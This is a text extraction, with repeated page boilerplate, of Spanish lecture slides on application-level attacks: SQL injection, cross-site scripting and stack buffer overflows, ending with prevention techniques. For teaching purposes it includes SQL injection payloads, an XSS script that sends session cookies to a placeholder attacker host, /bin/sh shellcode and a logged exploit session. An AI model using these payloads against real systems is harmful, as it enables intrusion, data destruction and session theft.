31
Seguridad en Aplicaciones 1 Curso Seguridad Informática Dr. Roberto Gómez Lámina 1 Dr. Roberto Gómez C. Seguridad a nivel aplicaciones Principales ataques Roberto Gómez [email protected] http://homepage.cem.itesm.mx/rogomez Lámina 2 Dr. Roberto Gómez C. Mecanismos de seguridad • Firewalls IDS (Sistemas de Detección de Intrusos) Filtrado de información

Seguridad a nivel aplicaciones - cryptomex.org · SQL + Página Web • Pagina con un formulario ‘login’ en un Active Server Pages (ASP), ... • Por ejemplo, sitio web permite

Embed Size (px)

Citation preview

Page 1: Seguridad a nivel aplicaciones - cryptomex.org · SQL + Página Web • Pagina con un formulario ‘login’ en un Active Server Pages (ASP), ... • Por ejemplo, sitio web permite

Seguridad en Aplicaciones 1

Curso Seguridad Informática Dr. Roberto Gómez

Lámina 1 Dr. Roberto Gómez C.

Seguridad a nivel aplicaciones

Principales ataquesRoberto Gómez

[email protected]://homepage.cem.itesm.mx/rogomez

Lámina 2 Dr. Roberto Gómez C.

Mecanismos de seguridad

• Firewalls• IDS (Sistemas de Detección de Intrusos)• Filtrado de información

Page 2: Seguridad a nivel aplicaciones - cryptomex.org · SQL + Página Web • Pagina con un formulario ‘login’ en un Active Server Pages (ASP), ... • Por ejemplo, sitio web permite

Seguridad en Aplicaciones 2

Curso Seguridad Informática Dr. Roberto Gómez

Lámina 3 Dr. Roberto Gómez C.

Sin embargo

• Empresas necesitan dar servicios al exterior.• Existe un puerto que siempre esta abierto

80

53

Lámina 4 Dr. Roberto Gómez C.

Inyección SQL

o cuidado con lo que el usuario introduce

Page 3: Seguridad a nivel aplicaciones - cryptomex.org · SQL + Página Web • Pagina con un formulario ‘login’ en un Active Server Pages (ASP), ... • Por ejemplo, sitio web permite

Seguridad en Aplicaciones 3

Curso Seguridad Informática Dr. Roberto Gómez

Lámina 5 Dr. Roberto Gómez C.

SQL Injection

• Structured Query Languaje (SQL) es un lenguaje textual usado para interactuar con bases de datos relacionales– las instrucciones SQL pueden modificar la estructura de

las bases de datos (usando instrucciones Data DefinitionLanguage, o DDL) y manipular el contenido de las bases de datos

• La Inyección SQL ocurre cuando un atacante puede introducir una serie de instrucciones SQL en una consulta manipulando datos de entrada dentro de una aplicación.

• Aplicada a la popular plataforma Microsoft Internet Information Server/Active Server Pages/SQL Server

Lámina 6 Dr. Roberto Gómez C.

Ejemplo

• Una típica instrucción SQL sería esta:

– esta instrucción devolverá el ‘id’, ‘forename’ y ‘surename’ de las columnas de la tabla ‘authors’, devolviendo todas las filas de la tabla,

• El ‘result set’ podría ser filtrado a un autor especifico ‘author’ como esto:

select id, forename, surname from authors

select id, forename, surname from authors whereforename = ‘john’ and surname = ‘smith’

Page 4: Seguridad a nivel aplicaciones - cryptomex.org · SQL + Página Web • Pagina con un formulario ‘login’ en un Active Server Pages (ASP), ... • Por ejemplo, sitio web permite

Seguridad en Aplicaciones 4

Curso Seguridad Informática Dr. Roberto Gómez

Lámina 7 Dr. Roberto Gómez C.

Detalles

• Cadenas ‘john’ y ‘smith’ delimitadas por comillas simples. • Suponiendo que los campos siendo recogidos por un

formulario de entrada de datos, un atacante podría “inyectar”SQL en esta consulta, introduciendo valores como:

• El query string es:

• Resultado

select id, forename, surname from authors whereforename = ‘jo’hn’ and surname = ‘smith’

Forename: jo’hnSurname: smith

Server: Msg 170, Level 15, State 1, Line1Line 1: Incorrect syntax near ‘hn’.

Lámina 8 Dr. Roberto Gómez C.

SQL + Página Web

• Pagina con un formulario ‘login’ en un Active Server Pages (ASP), – accede a una base de datos SQL Server y autentifica el

acceso a una aplicación ficticia.

• Dentro de la página el usuario introduce los datos de username y password

Username:

Password:

Page 5: Seguridad a nivel aplicaciones - cryptomex.org · SQL + Página Web • Pagina con un formulario ‘login’ en un Active Server Pages (ASP), ... • Por ejemplo, sitio web permite

Seguridad en Aplicaciones 5

Curso Seguridad Informática Dr. Roberto Gómez

Lámina 9 Dr. Roberto Gómez C.

Punto crítico código

• El punto critico de esta parte del proceso de la pagina ‘process_login.asp’ es cuando crea la consulta de cadena:

• Un usuario puede especificar lo siguiente:

• La tabla será borrada

var sql = “select * from users where username = ‘” + username + “’and password = ‘”+ password + “’”;

Username: ‘; drop table users --Password:

Lámina 10 Dr. Roberto Gómez C.

Otras opciones

• El atacante puede entrar como cualquier usuario, tomando nombres de usuario conocidos, usando la siguiente entrada

• El atacante puede entrar como el primer usuarios de la tabla ‘users’, con la siguiente entrada

• El atacante puede introducirse con un usuario ficticio usando la siguiente entrada

Username: admin’ --

Username:‘ or 1=1 --

Username: ‘ union select 1, ‘usuario_ficticio, ‘algun_password’, 1 --

Page 6: Seguridad a nivel aplicaciones - cryptomex.org · SQL + Página Web • Pagina con un formulario ‘login’ en un Active Server Pages (ASP), ... • Por ejemplo, sitio web permite

Seguridad en Aplicaciones 6

Curso Seguridad Informática Dr. Roberto Gómez

Lámina 11 Dr. Roberto Gómez C.

Obteniendo información mensajes error

• Técnica descubierta por David Litchfield• Para manipular los datos de la base de datos,

– determinar estructura base de datos y tablas.• Por ejemplo,

– tabla ‘users’ creada con el siguiente comando:

– los siguientes usuarios ‘users’ insertados

Create table users(id int, Username varchar(255),Password varchar(255), Privs int)

insert into users values( 0, ‘admin’, ‘r00tr0x!’, 0xffff)insert into users values( 0, ‘guest’, ‘guest’, 0x0000)insert into users values( 0, ‘chris’, ‘password’, 0x00ff)insert into users values( 0, ‘fred’, ‘sesame’, 0x00ff )

Lámina 12 Dr. Roberto Gómez C.

Obteniendo nombres tablas

• Atacante usa la cláusula ‘having’ de la instrucción ‘select’:

• Esto provoca el siguiente error:Username: ‘ having 1=1 --

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’

[Microsoft][ODBC SQL Server Driver][SQL Server] Column‘users.id’ is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

/process_login.asp, line 35

Page 7: Seguridad a nivel aplicaciones - cryptomex.org · SQL + Página Web • Pagina con un formulario ‘login’ en un Active Server Pages (ASP), ... • Por ejemplo, sitio web permite

Seguridad en Aplicaciones 7

Curso Seguridad Informática Dr. Roberto Gómez

Lámina 13 Dr. Roberto Gómez C.

Averiguando todas las columnas

• Atacante puede averiguar todas las columnas introduciendo cada campo dentro de una cláusula ‘group by’, como sigue:

Username: ‘ group by users.id having 1=1 --

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’[Microsoft][ODBC SQL Server Driver][SQL Server] Column‘users.username’ is invalid in the select listbecause it is not contained in an aggregate functionand there is no GROUP BY clause.

/process_login.asp, line 35

Lámina 14 Dr. Roberto Gómez C.

Determinando tipo cada columna

• Puede ser conseguido usando un mensaje de error ‘type conversion’, como:

• Servidor SQL intenta aplicar la cláusula ‘sum’y duda determinando si el numero de campos en las dos filas es igual. – cuando calcula el ‘sum’ de un campo textual resulta en

un mensaje de error

Username: ‘ union select sum(username) from users --

Page 8: Seguridad a nivel aplicaciones - cryptomex.org · SQL + Página Web • Pagina con un formulario ‘login’ en un Active Server Pages (ASP), ... • Por ejemplo, sitio web permite

Seguridad en Aplicaciones 8

Curso Seguridad Informática Dr. Roberto Gómez

Lámina 15 Dr. Roberto Gómez C.

Mensaje de error

• Lo que nos dice es que el campo ‘username’ tiene tipo ‘varchar’

• Es posible usar esta técnica para determinar aproximadamente el tipo de cualquier columna de cualquier tabla en la base de datos

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server] The sum oraverage aggregate operation cannottake a varchar data type as an argument.

/process_login.asp, line 35

Lámina 16 Dr. Roberto Gómez C.

Consecuencias

• Permite al atacante crear una buena consulta ‘insert’como esta:

• El poder de esta técnica no acaba aquí. • El atacante puede tomar ventaja de los mensajes de

error que revelan información sobre la base de datos. • Una lista de mensajes de error estándar puede ser

obtenida de la siguiente forma:

Username: ‘; insert into users values( 666, ‘attacker’, ‘foobar’, 0xffff) --

select * from master..sysmessages

Page 9: Seguridad a nivel aplicaciones - cryptomex.org · SQL + Página Web • Pagina con un formulario ‘login’ en un Active Server Pages (ASP), ... • Por ejemplo, sitio web permite

Seguridad en Aplicaciones 9

Curso Seguridad Informática Dr. Roberto Gómez

Lámina 17 Dr. Roberto Gómez C.

Eliminando comillas simples

• Los desarrolladores pueden tener protegida una aplicación por (digamos) eliminar todas las comillas simples (‘).

• Esto prevendría todos los ataques de los ejemplos anteriores , y eliminando el punto y coma ‘;’ nos ayudaría mas.

Function escap( input )Input = replace(input, “’”, “’’”)Escape = inputEnd function

Lámina 18 Dr. Roberto Gómez C.

Dando la vuelta

• Posible crear una cadena sin utilizar comillas simples, puede usar la función ‘char’.

• Por ejemplo:

• Es una consulta que no contiene comillas simples, pero insertara cadenas en una tabla

Insert into users values (666,char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),0xffff)

Page 10: Seguridad a nivel aplicaciones - cryptomex.org · SQL + Página Web • Pagina con un formulario ‘login’ en un Active Server Pages (ASP), ... • Por ejemplo, sitio web permite

Seguridad en Aplicaciones 10

Curso Seguridad Informática Dr. Roberto Gómez

Lámina 19 Dr. Roberto Gómez C.

Cross Site Scripting

o lo que es lo mismo... cuidado con lo que sale y con lo que entra

Lámina 20 Dr. Roberto Gómez C.

Ataque XSS

• El problema reside en la administración de archivos adjuntos de tipo .html o .htm

• Manejar la salida de una aplicación web es lo mismo que pasar datos a los subsistemas– el subsistema final al que se le pasa datos es el browser del

visitante y el parser HTML en el browser solo es otro sistema– cuando se envían datos a él se debe poner atención a los

metacaracteres• Problema notificado por CERT en el 2000

– http://www.cert.org/advisories/CA-2000-02.html– http://www.cert.org/tech-tips/malicious_code_mitigation.html

Page 11: Seguridad a nivel aplicaciones - cryptomex.org · SQL + Página Web • Pagina con un formulario ‘login’ en un Active Server Pages (ASP), ... • Por ejemplo, sitio web permite

Seguridad en Aplicaciones 11

Curso Seguridad Informática Dr. Roberto Gómez

Lámina 21 Dr. Roberto Gómez C.

¿Por qué XSS y no CSS?

• XSS: evitar confusiones con Cascading Style Sheets• Ataque a través de un enlace que apunta a un

servidor web afectado.• URL se construye para que incluya un script del

atacante que será transmitido por el servidor afectado al cliente que utilice el enlace para visitar el web.

• Por ejemplo, sitio web permite realizar búsquedas

• El XSS podría darse a través de una URL tipo:http://sitio/busqueda.asp?busca=texto

http://sitio/busqueda.asp?busca="script_del_atacante"

Lámina 22 Dr. Roberto Gómez C.

Empecemos por lo sencillo

• Aplicación web: guest book– permite visitantes introducir lo que dessen y solo añaden el

nuevo texto a lo que estaba antes

• Usuario malicioso introduce lo siguiente:

• Nada pasa al principio, pero se mezcla con lo que se escribió y lo que se escribirá, – aplicación web pasará lo siguiente a lectores libro de visitas:

<!--

:Cool web page, dude!<!--You’re da man, boss

:

Page 12: Seguridad a nivel aplicaciones - cryptomex.org · SQL + Página Web • Pagina con un formulario ‘login’ en un Active Server Pages (ASP), ... • Por ejemplo, sitio web permite

Seguridad en Aplicaciones 12

Curso Seguridad Informática Dr. Roberto Gómez

Lámina 23 Dr. Roberto Gómez C.

Otros dos ejemplos

• Posible introducir:

• Otro ejemplo– un sitio de discusión para niños– el sitio carece de filtrado hacia afuera, y alguien

introduce lo siguiente:

<script>for (q=0; q < 1000; q++)

window.open(http://www.hotsex.example);</script>

<imag src = http://www.tasteless.example/hardcoresex.jpg/>

Lámina 24 Dr. Roberto Gómez C.

Secuestro de sesión

atacante inyectascript en el servidor

y espera por una víctima1

servidor envía una cookiesesión y el script del atacante

al visitante

script se ejecuta enel browser de la

víctima, yle envía la cookie de

sesiónal atacante

2

3atacante pasa la cookierobada, provocando queel servidor piense que es

la víctima

4

Page 13: Seguridad a nivel aplicaciones - cryptomex.org · SQL + Página Web • Pagina con un formulario ‘login’ en un Active Server Pages (ASP), ... • Por ejemplo, sitio web permite

Seguridad en Aplicaciones 13

Curso Seguridad Informática Dr. Roberto Gómez

Lámina 25 Dr. Roberto Gómez C.

Algo de código

• JavaScript proporciona cookie al web server del atacante

• Enviando el browser al sitio original

<script>document.location.replace(

“http://www.badguy.example/steal.php”+ = “?what=“ + document.cookie)

</script>

<script>if (document.cookie.indexOf(“stolen”) < 0 {

document.cookie = “stolen=true”;document.location.replace(

“http://www.badguy.example/steal.php”+ = “?what=“ + document.cookie+ = “&whatnext=http://www.somesite.example/”)

} </script>

Lámina 26 Dr. Roberto Gómez C.

Otros ataques XSS

• Modificación texto– posible cambiar información mientras la página es

desplegada

• XSS con ingeniería social– script malicioso no es almacenado en el servidor– atacante engaña a la víctima, para que este se dirija a un

URL con el scripto malicioso

• Robo de passwords– algunos sitios vuelven a desplear el user-name si la

autenticación falla, considerando que el password fue mal tecleado

Page 14: Seguridad a nivel aplicaciones - cryptomex.org · SQL + Página Web • Pagina con un formulario ‘login’ en un Active Server Pages (ASP), ... • Por ejemplo, sitio web permite

Seguridad en Aplicaciones 14

Curso Seguridad Informática Dr. Roberto Gómez

Lámina 27 Dr. Roberto Gómez C.

Ejemplo de ingeniería social

Lámina 28 Dr. Roberto Gómez C.

El stack o buffer overflow

atacando la aplicación a través de un exploit

Page 15: Seguridad a nivel aplicaciones - cryptomex.org · SQL + Página Web • Pagina con un formulario ‘login’ en un Active Server Pages (ASP), ... • Por ejemplo, sitio web permite

Seguridad en Aplicaciones 15

Curso Seguridad Informática Dr. Roberto Gómez

Lámina 29 Dr. Roberto Gómez C.

El stack o buffer overflow

• Se dan a conocer los detalles de dicho ataque en noviembre 1996 (PhrackMagazine, número 49).– Smashing The Stack For Fun And Profit

• Se produce una situación de desbordamiento del búfer cuando un usuario o un proceso intenta introducir en el búfer más datos de los originalmente permitidos.

• Aprovechando esta situación se puede conseguir acceder fraudulentamente al sistema.

Lámina 30 Dr. Roberto Gómez C.

La vulnerabilidad

• Un stack overflow es una vulnerabilidad que se ocasiona porque el programador no presto atención o no se dio cuenta que la gente podía pasar mas información de la que en su variable cabía

• Fueron descubiertos a principios de los ochenta, pero no fue hasta 1988 cuando el worm de Internet llamado "morris" le informo del peligro de estos errores de seguridad a la gente

• Objetivo– contar con una shell con los privilegios con que se esta

ejecutando la aplicación que presenta la vulnerabilidad

Page 16: Seguridad a nivel aplicaciones - cryptomex.org · SQL + Página Web • Pagina con un formulario ‘login’ en un Active Server Pages (ASP), ... • Por ejemplo, sitio web permite

Seguridad en Aplicaciones 16

Curso Seguridad Informática Dr. Roberto Gómez

Lámina 31 Dr. Roberto Gómez C.

Contexto de un proceso

TEXTO(código)

datos inicializadosREAD-ONLY

datos inicializadosREAD-WRITE

datos no inicializados

stack

heap

Código del programa

Datos estáticos del programa

Datos dinámicosdel programa

direcciones bajasde memoria

direcciones altasde memoria

Lámina 32 Dr. Roberto Gómez C.

Ejemplo stack

Local Vars

notshown

Addr of frame 2 (resultado)

Ret addr after write callparms towrite news buffer count

count

Addr of frame 1 (resultado)

Local Vars

Ret addr after copy callparms tocopy old new

Local Vars fdoldfdnewAddr of frame 0

Ret addr after main callparms tomain

argcargv

User Stack

dirección crecimiento

stack

copy (int old, int new){

int count;while ( (count = read(old, buffer, sizeof(buffer))) > 0 )

write(new, buffer, count);}

main(argc, argv){

int fdold, fdnew;fdold = open(argv[1], O_RDONLY]);fdnew = open(argv[2], 0666); copy (fdold, fdnew);exit(0);

}

Page 17: Seguridad a nivel aplicaciones - cryptomex.org · SQL + Página Web • Pagina con un formulario ‘login’ en un Active Server Pages (ASP), ... • Por ejemplo, sitio web permite

Seguridad en Aplicaciones 17

Curso Seguridad Informática Dr. Roberto Gómez

Lámina 33 Dr. Roberto Gómez C.

Un primer ejemplo

toto@cachafas:2> gcc prog1.c -o prog1toto@cachafas:3> prog1 ‘esto es una prueba de un buffer overflow’????????????????????????????

toto@cachafas:1> cat prog1int main(int argv,char **argc) {

char buf[25];

strcpy(buf,argc[1]);}

¿¿qué pasa si en lugar de strcpy() se usa strncpy()??

Lámina 34 Dr. Roberto Gómez C.

void function (int a, int b, int c){

char buffer1[5];char buffer2[10];

}void main(){function(1,2,3);

}

Otro ejemplo

Page 18: Seguridad a nivel aplicaciones - cryptomex.org · SQL + Página Web • Pagina con un formulario ‘login’ en un Active Server Pages (ASP), ... • Por ejemplo, sitio web permite

Seguridad en Aplicaciones 18

Curso Seguridad Informática Dr. Roberto Gómez

Lámina 35 Dr. Roberto Gómez C.

Foto del stack

FCFDFEFF

c

F8F9FAFB

b

F4F5F6F7

a

F0F1F2F3

ret = IP

Parte baja memoria

Parte alta memoria

Parte alta stack

ECEDEEEF

sfp = ebp

D3D4D5

E8E9EAEB

E3E4E5E6 buffer1[5]

D7D8D9DADBDCDEDFE0E1E2

D6

buffer2[10]

Parte baja stack

Lámina 36 Dr. Roberto Gómez C.

Segundo ejemplo

void function(char *str) {

char buffer[16];strcpy(buffer,str);

}

void main() {char large_string[256];int i;for( i = 0; i < 255; i++)large_string[i] = 'A';

function(large_string);}

Page 19: Seguridad a nivel aplicaciones - cryptomex.org · SQL + Página Web • Pagina con un formulario ‘login’ en un Active Server Pages (ASP), ... • Por ejemplo, sitio web permite

Seguridad en Aplicaciones 19

Curso Seguridad Informática Dr. Roberto Gómez

Lámina 37 Dr. Roberto Gómez C.

Foto del stack

Parte baja memoria

Parte alta memoria

Parte alta stack

Parte baja stackFCFDFEFF

*str

F8F9FAFB

ret

F4F5F6F7

sfp

E8E9EAEB

E3E4E5E6

F0F1F2F3

ECEDEEEF

buffer[16]

Lámina 38 Dr. Roberto Gómez C.

Ejecutando el código

rogomez@armagnac:23>gcc prog2.c -o progrogomez@armagnac:24>progBus error (core dumped)rogomez@armagnac:25>

Page 20: Seguridad a nivel aplicaciones - cryptomex.org · SQL + Página Web • Pagina con un formulario ‘login’ en un Active Server Pages (ASP), ... • Por ejemplo, sitio web permite

Seguridad en Aplicaciones 20

Curso Seguridad Informática Dr. Roberto Gómez

Lámina 39 Dr. Roberto Gómez C.

¿Qué paso?

Parte baja memoria

Parte alta memoria

Parte alta stack

Parte baja stack

FCFDFEFF

F8F9FAFB

F4F5F6F7

E8E9EAEB

E3E4E5E6

F0F1F2F3

ECEDEEEF

buffer[16]

sfpret*str

Lámina 40 Dr. Roberto Gómez C.

¿Qué paso?

Parte baja memoria

Parte alta memoria

Parte alta stack

Parte baja stack

FCFDFEFF

F8F9FAFB

F4F5F6F7

E8E9EAEB

E3E4E5E6

F0F1F2F3

ECEDEEEF

AAA

AA

AA

Page 21: Seguridad a nivel aplicaciones - cryptomex.org · SQL + Página Web • Pagina con un formulario ‘login’ en un Active Server Pages (ASP), ... • Por ejemplo, sitio web permite

Seguridad en Aplicaciones 21

Curso Seguridad Informática Dr. Roberto Gómez

Lámina 41 Dr. Roberto Gómez C.

Otro ejemplo

void function(int a, int b, int c) {

char buffer1[5];char buffer2[10];int *ret;ret = buffer1 + 12;(*ret) += 8;

}

void main( ) {int x;x = 0;function(1,2,3);x = 1;printf("%d\n",x);

}

toto@cachafas:4> gcc prog2.c -o prog2toto@cachafas:5> prog20toto@cachafas:6>

Lámina 42 Dr. Roberto Gómez C.

Siguiendo el stack

FCFDFEFF

c

F8F9FAFB

b

F4F5F6F7

a

F0F1F2F3

RET=FF

Parte baja memoria

Parte alta memoria

Parte alta stack

ECEDEEEF

sfpD3D4D5

E8E9EAEB

E3E4E5E6 buffer1[5]

D7D8D9DADBDCDEDFE0E1E2

D6

buffer2[10]

Parte baja stack

D2

*ret

Page 22: Seguridad a nivel aplicaciones - cryptomex.org · SQL + Página Web • Pagina con un formulario ‘login’ en un Active Server Pages (ASP), ... • Por ejemplo, sitio web permite

Seguridad en Aplicaciones 22

Curso Seguridad Informática Dr. Roberto Gómez

Lámina 43 Dr. Roberto Gómez C.

Siguiendo el stack

FCFDFEFF

c

F8F9FAFB

b

F4F5F6F7

a

F0F1F2F3

RET=FF

Parte baja memoria

Parte alta memoria

Parte alta stack

ECEDEEEF

sfpD3D4D5

E8E9EAEB

E3E4E5E6 buffer1[5]

D7D8D9DADBDCDEDFE0E1E2

D6

buffer2[10]

Parte baja stack

D2

*ret=E3+12

Lámina 44 Dr. Roberto Gómez C.

Siguiendo el stack

FCFDFEFF

c

F8F9FAFB

b

F4F5F6F7

a

F0F1F2F3

RET=FF+8

Parte baja memoria

Parte alta memoria

Parte alta stack

ECEDEEEF

sfpD3D4D5

E8E9EAEB

E3E4E5E6 buffer1[5]

D7D8D9DADBDCDEDFE0E1E2

D6

buffer2[10]

Parte baja stack

D2

*ret=E3+12

Page 23: Seguridad a nivel aplicaciones - cryptomex.org · SQL + Página Web • Pagina con un formulario ‘login’ en un Active Server Pages (ASP), ... • Por ejemplo, sitio web permite

Seguridad en Aplicaciones 23

Curso Seguridad Informática Dr. Roberto Gómez

Lámina 45 Dr. Roberto Gómez C.

Por que sumar 8

• Cuando se llama a function() RET vale 0x8004a8• Se desea saltarse la asignación en 0x80004ab• La instrucción a ejecutar esta en 0x8004b2• Por lo que la distancia a saltar es de 8

0x80004a3 <main+19>: call 0x8000470 <function>0x80004a8 <main+24>: addl $0xc,%esp0x80004ab <main+27>: movl $0x1,0xfffffffc(%ebp)0x80004b2 <main+34>: movl 0xfffffffc(%ebp),%eax0x80004b5 <main+37>: pushl %eax0x80004b6 <main+38>: pushl $0x80004f8

Lámina 46 Dr. Roberto Gómez C.

El payload

• Código proporcionado por el atacante como parte de la información extra. – esta información extra se conoce como payload.

• La parte difícil es encontrar una dirección donde alojar al payload

• Posibles acciones del payload– modifique algún valor el registro de Windows, – dar de alta un usuario en el archivo /etc/password de un

sistema Unix, – abrir el compartimiento de CDs de la computadora.

• Muchas veces se confunde el payload con un shellcode.

Page 24: Seguridad a nivel aplicaciones - cryptomex.org · SQL + Página Web • Pagina con un formulario ‘login’ en un Active Server Pages (ASP), ... • Por ejemplo, sitio web permite

Seguridad en Aplicaciones 24

Curso Seguridad Informática Dr. Roberto Gómez

Lámina 47 Dr. Roberto Gómez C.

Los shellcodes

• Son fragmentos de código escritos en lenguaje ensamblador que ejecutan una serie de ordenes comunicándose directamente con el kernel, es decir, usando llamadas al sistema.

• Se usa para conseguir ejecutar un código después de haber sobreescrito la dirección de retorno de un programa/función mediante un overflow, o mediante cualquier otro método válido– es decir, el valor de la dirección de retorno que se

sobreescribira será la de nuestra shellcode.• El proceso, consiste en copiar el código de shell en

el espacio de variables locales

Lámina 48 Dr. Roberto Gómez C.

Ejemplo de un shellcode

#include <stdio.h>

void main(){

char *name[2];

name[0] = "/bin/sh";name[1] = NULL;execve(name[0], name, NULL);

}

Page 25: Seguridad a nivel aplicaciones - cryptomex.org · SQL + Página Web • Pagina con un formulario ‘login’ en un Active Server Pages (ASP), ... • Por ejemplo, sitio web permite

Seguridad en Aplicaciones 25

Curso Seguridad Informática Dr. Roberto Gómez

Lámina 49 Dr. Roberto Gómez C.

Ejecutando el shellcode

• Se aprovecha que Linux permite la ejecución de código contenido en la sección de la pila, – esta marcada con los bits de lectura, escritura y ejecución.

• Se sobrescribe RET con la dirección de la shellcode, de manera que cuando el programa salga de la función principal, main(), el programa salte al código shell, ejecutando aquellas operaciones que contenga

• En la actualidad hay exploits que utilizan desde los shellcodes mas simples hasta los mas complejos, desde los mas grandes hasta los mas chicos, usan criptografía, NOPS-free, shellcodes polimorficos, ofuscados, etc.

Lámina 50 Dr. Roberto Gómez C.

Ejemplo de shellcode

char shellcode[] ="\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46""\x0c\x00\x00\x00\x00\xb8\x0b\x00\x00\x00\x89\xf3""\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01\x00\x00""\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff""\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

int main() {int *ret;ret = (int *)&ret + 2;(*ret) = (int)shellcode;

}

Page 26: Seguridad a nivel aplicaciones - cryptomex.org · SQL + Página Web • Pagina con un formulario ‘login’ en un Active Server Pages (ASP), ... • Por ejemplo, sitio web permite

Seguridad en Aplicaciones 26

Curso Seguridad Informática Dr. Roberto Gómez

Lámina 51 Dr. Roberto Gómez C.

Resumiendo

Buffer 100 bytes stackRET

EBP

stack0x

02fe

4f0a

0x00

50a7

8f

Cadena con 120 caracteres “A”

0x41

4141

41

0x41

4141

41

El código ASCII de A es 41

Buffer 100 bytes stack

RET

EBP

stack

Cadena con SHELL CODE

NOPsCódigo enEnsamblador(ejecuta SH o

ejecuta cmd.exe)0x02

fe4f

0a

0x02

fe4f

0a

0x02

fe4f

0a

0x02

fe4f

0a

Lámina 52 Dr. Roberto Gómez C.

El exploit

• Del inglés to exploit, explotar, aprovechar.• Es el nombre con el que se identifica un programa

informático malicioso, o parte del programa, quetrata de forzar alguna deficiencia o vulnerabilidad de otro programa (llamadas bugs).

• El fin puede ser la destrucción o inhabilitación del sistema atacado, aunque normalmente se trata de violar las medidas de seguridad para poder acceder al mismo de forma no autorizada y emplearlo en beneficio propio o como origen de otros ataques a terceros.

Page 27: Seguridad a nivel aplicaciones - cryptomex.org · SQL + Página Web • Pagina con un formulario ‘login’ en un Active Server Pages (ASP), ... • Por ejemplo, sitio web permite

Seguridad en Aplicaciones 27

Curso Seguridad Informática Dr. Roberto Gómez

Lámina 53 Dr. Roberto Gómez C.

El ataque

exploit

stack de la aplicación

root

Lámina 54 Dr. Roberto Gómez C.

HTTP/1.1 200 OKContent-Length: 2506Date: Mon, 01 Oct 2001 15:04:41 GMTContent-Location: http://172.16.16.5/postinfo.htmlContent-Type: text/htmlServer: Microsoft-IIS/5.0Accept-Ranges: bytesLast-Modified: Mon, 01 Oct 2001 11:06:52 GMTETag: "20c1bf347cfc01:941"

Connection closed by foreign host../idaexploit.sh 172.16.16.5hacker.com:~$

Connecting . . .Dumping Shell:

\x68\x5e\x56\xc3\x90\x54\x59\xff\xd1\x58\x33\xc9\xb1\x=1c\x90\x90\x90\x90\x03\xf1\x56\x5f\x33\xc9\x66\xb9\x95\x04\x90\x90\x90\xac\=x34\x99\xaa\xe2\xfa\x71\x99\x99\x99\x99\xc4\x18\x74\x40\xb8\xd9\x99\x14\x2c=\x6b\xbd\xd9\x99\x14\x24\x63\xbd\xd9\x99\xf3\x9e\x09\x09\x09\x09\xc0\x71\x4=\xf3\x99\x14\x2c\x40\xbc\xd9\x99\xcf\x14\x2c\x74\xbc\xd9\x99\xcf\x14\x2c\x6=8\xbc\xd9\x99\xcf\x66\x0c\xaa\xbc\xd9\x99\x5e\x1c\x6c\xbc\xd9\x99\xdd\x99\x=99\x99\x14\x2c\x6c\xbc\xd9\x99\xcf\x66\x0c\xae\xbc\xd9\x99\x14\x2c\xb4\xbf\=xd9\x99\x34\xc9\x66\x0c\xca\xbc\xd9\x99\x14\x2c\xa8\xbf\xd9\x99\x34\xc9\x66=

HEAD / HTTP/1.0

Page 28: Seguridad a nivel aplicaciones - cryptomex.org · SQL + Página Web • Pagina con un formulario ‘login’ en un Active Server Pages (ASP), ... • Por ejemplo, sitio web permite

Seguridad en Aplicaciones 28

Curso Seguridad Informática Dr. Roberto Gómez

Lámina 55 Dr. Roberto Gómez C.

¿Y que se hace?

• Búsqueda datos víctima• Búsqueda puertas/ventanas abiertas máquina• Averiguar el sistema operativo y la versión de este.• ¿Alguna puerta/ventana abierta presenta alguna

vulnerabilidad?• ¿Existe algún exploit relacionado con la

vulnerabilidad y la versión del sistema operativo de la víctima?

• Bajar el exploit e instalarlo.• Ejecutarlo para llevar a cabo el ataque.

Lámina 56 Dr. Roberto Gómez C.

Herramientas

• Metasploit Framework– Herramienta gratuita– Escrita en PERL

• CORE IMPACT– $25K por año– Escrita en Python y C++

• Immunitysec CANVAS– Menos extensa que CORE IMPACT– Mucho más barata: $1300

Page 29: Seguridad a nivel aplicaciones - cryptomex.org · SQL + Página Web • Pagina con un formulario ‘login’ en un Active Server Pages (ASP), ... • Por ejemplo, sitio web permite

Seguridad en Aplicaciones 29

Curso Seguridad Informática Dr. Roberto Gómez

Lámina 57 Dr. Roberto Gómez C.

Otros exploits relacionados

• Bugs de Formato– cualquier función que tome un formato como argumento es

vulnerable a un tipo de buffer overflow llamado formatstring overflow (overflow de cadena de formato).

• Mal manejo de enteros– Integer overflow and underflow conditions– Integer comparisons– Precision and promotion errors

• Stack Memory Overflowing• Force Memory Leak• Off by one

Lámina 58 Dr. Roberto Gómez C.

Técnicas prevención vulnerabilidades

• Revisión código fuente– source code auditing– proyecto OpenBSD– herramientas: ITS4, RATS y LCLint– lista herramientas:

sardonix.org/Auditing_Resources.html.

• Modificando el compilador– añadir detección buffer overflow de forma automática a

un programa usando un compilador modificado– ejemplo: StackGuard, ProPolice, StackShield y Return

Address Defender (RAD).

Page 30: Seguridad a nivel aplicaciones - cryptomex.org · SQL + Página Web • Pagina con un formulario ‘login’ en un Active Server Pages (ASP), ... • Por ejemplo, sitio web permite

Seguridad en Aplicaciones 30

Curso Seguridad Informática Dr. Roberto Gómez

Lámina 59 Dr. Roberto Gómez C.

Técnicas prevención vulnerabilidades

• Modificación sistema operativo– modificando algunos aspectos del sistema operativo– modificar el segmento del stack de tal forma que no sea

ejecutable– librería: Libsafe: intercepta llamadas a funciones

vulnerables y ejecuta una versión segura de la llamadas.• Modificación hardware

– tecnicas deteccion afectan desempeño (4% a 1,000%)– mover operaciones de software a hardware – propuesta SmashGuard proposal [10] uses a modification– of the microcoded instructions for the CALL and– RET opcodes in a CPU to enable transparent protection– against buffer overflow attacks.

Lámina 60 Dr. Roberto Gómez C.

¿Y cómo nos protegemos?

• La mejor solución es usar funciones que tengan en cuenta el numero de bytes que se escriben.

• Tabla relaciona funciones vulnerables con la función que debería ser usada en su lugar.

